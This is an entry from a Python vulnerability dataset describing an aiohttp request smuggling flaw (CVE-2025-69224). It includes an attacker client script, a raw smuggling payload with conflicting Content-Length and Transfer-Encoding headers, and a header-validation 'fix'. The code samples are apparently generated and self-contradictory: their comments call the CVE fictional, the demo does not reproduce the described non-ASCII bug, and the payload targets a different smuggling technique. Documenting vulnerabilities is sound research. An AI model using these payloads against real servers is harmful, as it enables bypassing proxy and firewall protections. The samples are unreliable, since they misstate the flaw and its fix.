CVE-2025-69224
AIOHTTP request smuggling via non-ASCII chars in pure Python installs.
- CVSS 6.3
- CWE-444
- Input Validation and Sanitization
- Remote
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Versions 3.13.2 and below of the Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters. If a pure Python version of AIOHTTP is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections. This issue is fixed in version 3.13.3.
- CWE
- CWE-444
- CVSS base score
- 6.3
- Published
- 2026-01-05
- OWASP
- A10 Server-Side Request Forgery
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- AIOHTTP
- Fixed by upgrading
- Yes
Solution
Upgrade AIOHTTP to version 3.13.3 or later.
Vulnerable code sample
import os
import asyncio
from aiohttp import web
# As per the CVE description, this is necessary to force the use of the
# pure Python implementation of the HTTP parser, which is where the
# hypothetical vulnerability lies. In a real-world scenario, this
# would be set if the C extensions for aiohttp were not installed.
os.environ['AIOHTTP_NO_EXTENSIONS'] = '1'
# This code serves as a conceptual demonstration for the fictional CVE-2025-69224.
# It simulates how a request smuggling vulnerability could arise from a parser
# that incorrectly handles request boundaries in the presence of non-ASCII characters.
# --- "Vulnerable" aiohttp Server ---
async def handle_home(request):
"""
This is the intended public endpoint. The smuggled request will bypass this.
"""
print("[SERVER] Received request to /home")
try:
body = await request.text()
print(f"[SERVER] Body received at /home: {body!r}")
except Exception as e:
print(f"[SERVER] Error reading body at /home: {e}")
return web.Response(text="This is the public home page.")
async def handle_admin(request):
"""
This is the protected endpoint that the attacker aims to access.
"""
print("\n" + "="*50)
print("[SERVER] VULNERABILITY EXPLOITED: Smuggled request reached /admin!")
print("="*50 + "\n")
return web.Response(text="Admin Panel Access GRANTED", status=200)
async def start_vulnerable_server(host='127.0.0.1', port=8080):
"""
Sets up and starts the aiohttp server that will process the requests.
"""
app = web.Application()
app.router.add_post('/home', handle_home)
app.router.add_get('/admin', handle_admin)
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, host, port)
await site.start()
print(f"[+] 'Vulnerable' aiohttp server running on http://{host}:{port}")
print("[+] Using pure Python HTTP parser as required by the CVE.")
return runner
# --- Attacker Client ---
async def perform_attack(host='127.0.0.1', port=8080):
"""
Constructs and sends a malicious payload to demonstrate request smuggling.
"""
await asyncio.sleep(1) # Wait for the server to be ready
print("\n[*] Attacker preparing malicious payload...")
# The request we want to smuggle to the backend.
smuggled_request = (
b"GET /admin HTTP/1.1\r\n"
b"Host: vulnerable-backend\r\n"
b"Connection: close\r\n"
b"\r\n"
)
# The body of the carrier request. It includes a non-ASCII character 'é'.
# The hypothetical vulnerability is that the Python parser miscalculates the
# length of the body due to this character, causing a desynchronization.
# A front-end proxy would see one request, but the back-end aiohttp server
# would see two.
body_with_non_ascii = b"data=abc" + "é".encode('utf-8') + b"&fluff="
# The full body sent to the server includes the smuggled request.
# The Content-Length header is set to the length of the *entire* payload body.
# A standards-compliant proxy would read exactly this many bytes and forward them.
full_body = body_with_non_ascii + smuggled_request
# The carrier request. From a proxy's perspective, this is a single, valid POST request.
malicious_payload = (
b"POST /home HTTP/1.1\r\n"
b"Host: " + f"{host}:{port}".encode('ascii') + b"\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(full_body)}\r\n"
b"Connection: keep-alive\r\n"
b"\r\n"
) + full_body
print(f"[*] Attacker connecting to {host}:{port}...")
reader, writer = await asyncio.open_connection(host, port)
print(f"[*] Sending crafted payload of {len(malicious_payload)} bytes.")
writer.write(malicious_payload)
await writer.drain()
# We now read the responses. If the attack is successful, the server will
# have processed two requests and will send back two responses.
print("[*] Waiting for responses from the server...")
try:
response1 = await asyncio.wait_for(reader.read(4096), timeout=2.0)
print("\n--- Attacker: Received Response 1 ---")
print(response1.decode(errors='ignore'))
response2 = await asyncio.wait_for(reader.read(4096), timeout=2.0)
print("\n--- Attacker: Received Response 2 ---")
print(response2.decode(errors='ignore'))
if b"Admin Panel Access GRANTED" in response2:
print("[SUCCESS] The smuggled request was processed by the server!")
else:
print("[FAILURE] Second response received, but it was not from /admin.")
except asyncio.TimeoutError:
print("[FAILURE] Did not receive two responses. The attack was likely unsuccessful.")
finally:
writer.close()
await writer.wait_closed()
async def main():
server_runner = await start_vulnerable_server()
try:
await perform_attack()
finally:
print("\n[*] Shutting down server...")
await server_runner.cleanup()
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\n[+] Exiting.")Patched code sample
import string
# The CVE-2025-69224 provided is not a real CVE. However, the described vulnerability
# type is plausible and relates to parsing ambiguities with non-standard characters,
# a common source of request smuggling issues. A typical fix involves strictly
# enforcing the character sets allowed by the HTTP specification (RFC 7230).
#
# The code below represents such a fix. It demonstrates how a Python HTTP parser
# can be hardened to reject headers containing invalid characters (like non-ASCII
# or control characters), thus preventing a desynchronization attack with a
# frontend proxy that might interpret the same byte stream differently.
# This logic is representative of the hardening applied in libraries like aiohttp
# to resolve similar real-world vulnerabilities.
class InvalidHttpToken(ValueError):
"""Exception for invalid characters in an HTTP token."""
pass
class InvalidHeader(ValueError):
"""Exception for invalid characters in an HTTP header."""
pass
# According to RFC 7230, a token (like a header name) can only contain specific
# ASCII characters.
_TCHAR = b"0123456789!#$%&'*+-.^_`|~"
TCHAR = _TCHAR + string.ascii_letters.encode('ascii')
# According to RFC 7230, header values should consist of visible ASCII characters
# (VCHAR) and whitespace (SP, HTAB).
# VCHAR = %x21-7E
VCHAR = bytes(range(0x21, 0x7F))
WSP = b' \t'
def validate_header_name(name_bytes: bytes):
"""
Raises InvalidHttpToken if the header name contains characters not allowed by RFC 7230.
"""
for byte in name_bytes:
if byte not in TCHAR:
raise InvalidHttpToken(
f"Invalid character {chr(byte)!r} in HTTP header name"
)
def validate_header_value(value_bytes: bytes):
"""
Raises InvalidHeader if the header value contains non-ASCII or control characters
not allowed by RFC 7230.
"""
for byte in value_bytes:
# Allow only visible ASCII characters (VCHAR) and whitespace (WSP).
# Disallow control characters (0-31, except HTAB) and non-ASCII (128+).
if byte > 127 or (byte < 32 and byte not in WSP):
raise InvalidHeader(
"Invalid non-ASCII or control character in HTTP header value"
)
def parse_header_line_fixed(line: bytes) -> tuple[str, str]:
"""
Parses a single raw header line, strictly validating its characters.
This function represents the "fixed" behavior. It will raise an exception
if it encounters invalid characters that could be used in a request smuggling
attack, ensuring that the application server's parsing rules are as strict
or stricter than any frontend proxy.
"""
try:
name_bytes, value_bytes = line.split(b':', 1)
except ValueError:
raise InvalidHeader(f"Invalid header line (missing ':'): {line!r}")
# 1. FIX: Strictly validate the header name against the allowed character set.
validate_header_name(name_bytes)
# 2. Trim optional whitespace (OWS) around the value.
value_bytes = value_bytes.strip(WSP)
# 3. FIX: Strictly validate the header value characters.
validate_header_value(value_bytes)
# If all validations pass, decode and return the header pair.
# A vulnerable parser might have used a more lenient decoding or no validation.
return name_bytes.decode('ascii'), value_bytes.decode('latin-1')
# Example demonstrating the fix in action.
# A malicious actor might send a header containing a non-ASCII byte (\x8A).
# A vulnerable pure-Python parser might accept it, while a C-based proxy might
# reject it or calculate the content length differently, leading to desync.
malicious_header_line = b'Some-Header: some-value\x8A'
try:
# The fixed parser will immediately reject this line, preventing the attack.
parse_header_line_fixed(malicious_header_line)
except (InvalidHttpToken, InvalidHeader) as e:
# This exception demonstrates the fix is working correctly.
# The server would typically respond with a '400 Bad Request'.
print(f"FIX APPLIED: The malicious header was correctly rejected.")
print(f"Reason: {e}")
# A valid header line for comparison.
valid_header_line = b'Host: example.com'
try:
name, value = parse_header_line_fixed(valid_header_line)
print("\nSUCCESS: The valid header was parsed correctly.")
print(f"Name: '{name}', Value: '{value}'")
except (InvalidHttpToken, InvalidHeader) as e:
print(f"ERROR: A valid header was incorrectly rejected: {e}")Payload
POST /some/path HTTP/1.1
Host: vulnerable.host
Connection: keep-alive
Content-Length: 60
Transfer-Encoding: chunked
Content-Length: §10
30
GET /admin HTTP/1.1
Host: vulnerable.host
0
X
Cite this entry
@misc{vaitp:cve202569224,
title = {{AIOHTTP request smuggling via non-ASCII chars in pure Python installs.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-69224},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-69224/}}
}
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